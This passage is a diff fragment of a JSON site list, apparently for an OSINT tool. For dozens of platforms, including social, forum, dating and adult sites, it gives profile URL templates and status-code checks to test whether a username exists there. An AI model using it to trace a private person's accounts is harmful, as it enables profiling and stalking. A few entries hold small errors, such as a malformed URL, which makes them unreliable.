"https://ultimate-guitar.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "vsco": { + "url": "https://vsco.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://vsco.co/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://vsco.co/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "vero": { + "url": "https://vero.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://vero.co/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://vero.co/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "vimeo": { + "url": "https://vimeo.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://vimeo.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://vimeo.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wicgforum": { + "url": "https://discourse.wicg.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://discourse.wicg.io/u/%s/summary", + "existUsername": "stefano", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://discourse.wicg.io/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "warriorforum": { + "url": "https://www.warriorforum.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.warriorforum.com/members/%s.html", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.warriorforum.com/members/%s.html" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wattpad": { + "url": "https://www.wattpad.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.wattpad.com/user/%s", + "existUsername": "Dogstho7951", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.wattpad.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "webnode": { + "url": "https://www.webnode.cz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.webnode.cz/", + "existUsername": "radkabalcarova", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.webnode.cz/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "weblate": { + "url": "https://hosted.weblate.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://hosted.weblate.org/user/%s/", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://hosted.weblate.org/user/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "weebly": { + "url": "https://weebly.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.weebly.com/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.weebly.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "whonixforum": { + "url": "https://forums.whonix.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forums.whonix.org/u/%s/summary", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forums.whonix.org/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "windy": { + "url": "https://windy.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.windy.com/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.windy.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "wix": { + "url": "https://wix.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.wix.com", + "existUsername": "support", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.wix.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wolframalphaforum": { + "url": "https://community.wolfram.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.wolfram.com/web/%s/home", + "existUsername": "unico", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.wolfram.com/web/%s/home" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wykop": { + "url": "https://www.wykop.pl", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.wykop.pl/ludzie/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.wykop.pl/ludzie/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "PL" + } + }, + "xboxgamertag": { + "url": "https://xboxgamertag.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://xboxgamertag.com/search/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://xboxgamertag.com/search/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "xvideos": { + "url": "https://xvideos.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://xvideos.com/profiles/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://xvideos.com/profiles/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "yandexmusic": { + "url": "https://music.yandex", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://music.yandex/users/%s/playlists", + "existUsername": "ya.playlist", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://music.yandex/users/%s/playlists" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "youpic": { + "url": "https://youpic.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://youpic.com/photographer/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://youpic.com/photographer/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "youporn": { + "url": "https://youporn.com", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://youporn.com/uservids/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://youporn.com/uservids/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "youtubechannel": { + "url": "https://www.youtube.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.youtube.com/c/%s", + "existUsername": "mkbhd", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.youtube.com/c/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "youtubeuser": { + "url": "https://www.youtube.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.youtube.com/user/%s", + "existUsername": "pewdiepie", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.youtube.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "akniga": { + "url": "https://akniga.org/profile/blue/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://akniga.org/profile/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://akniga.org/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "authorstream": { + "url": "http://www.authorstream.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://www.authorstream.com/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://www.authorstream.com/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "chaos-social": { + "url": "https://chaos.social/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://chaos.social/@%s", + "existUsername": "rixx", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://chaos.social/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "couchsurfing": { + "url": "https://www.couchsurfing.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.couchsurfing.com/people/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.couchsurfing.com/people/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "d3ru": { + "url": "https://d3.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://d3.ru/user/%s/posts", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://d3.ru/user/%s/posts" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "dating-ru": { + "url": "http://dating.ru", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://dating.ru/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://dating.ru/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "drive2": { + "url": "https://www.drive2.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.drive2.ru/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.drive2.ru/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "egpu": { + "url": "https://egpu.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://egpu.io/forums/profile/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://egpu.io/forums/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "ebio-gg": { + "url": "https:/ebio.gg", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ebio.gg/@%s", + "existUsername": "dev", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ebio.gg/@%s", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "eintracht": { + "url": "https://eintracht.de", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.eintracht.de/fans/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.eintracht.de/fans/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "fixya": { + "url": "https://www.fixya.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.fixya.com/users/%s", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.fixya.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "fl": { + "url": "https://www.fl.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.fl.ru/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.fl.ru/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "geocaching": { + "url": "https://www.geocaching.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.geocaching.com/p/default.aspx?u=%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.geocaching.com/p/default.aspx?u=%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gfycat": { + "url": "https://gfycat.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://gfycat.com/@%s", + "existUsername": "Test", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://gfycat.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "habr": { + "url": "https://habr.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://habr.com/ru/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://habr.com/ru/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "hackster": { + "url": "https://www.hackster.io", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.hackster.io/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.hackster.io/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "irecommend": { + "url": "https://irecommend.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://irecommend.ru/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://irecommend.ru/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "jbzd": { + "url": "https://jbzd.com.pl/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://jbzd.com.pl/uzytkownik/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://jbzd.com.pl/uzytkownik/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "PL" + } + }, + "kwork": { + "url": "https://www.kwork.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://kwork.ru/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://kwork.ru/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "last-fm": { + "url": "https://last.fm/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://last.fm/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://last.fm/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "UK" + } + }, + "leasehackr": { + "url": "https://forum.leasehackr.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forum.leasehackr.com/u/%s/summary/", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.leasehackr.com/u/%s/summary/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "livelib": { + "url": "https://www.livelib.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.livelib.ru/reader/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.livelib.ru/reader/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "mastodon-cloud": { + "url": "https://mastodon.cloud/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://mastodon.cloud/@%s", + "existUsername": "TheAdmin", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://mastodon.cloud/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "JP" + } + }, + "mastodon-social": { + "url": "https://chaos.social/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://mastodon.social/@%s", + "existUsername": "Gargron", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://mastodon.social/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "mastodon-technology": { + "url": "https://mastodon.xyz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://mastodon.technology/@%s", + "existUsername": "ashfurrow", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://mastodon.technology/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "mastodon-xyz": { + "url": "https://mastodon.xyz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://mastodon.xyz/@%s", + "existUsername": "TheKinrar", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://mastodon.xyz/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "mercadolivre": { + "url": "https://www.mercadolivre.com.br", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.mercadolivre.com.br/perfil/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.mercadolivre.com.br/perfil/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "BR" + } + }, + "moikrug": { + "url": "https://moikrug.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://moikrug.ru/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://moikrug.ru/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "mstdn-io": { + "url": "https://mstdn.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://mstdn.io/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://mstdn.io/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "nairaland-com": { + "url": "https://www.nairaland.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.nairaland.com/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.nairaland.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "nnru": { + "url": "https://www.nn.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.www.nn.ru/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.www.nn.ru/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "note": { + "url": "https://note.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://note.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://note.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + 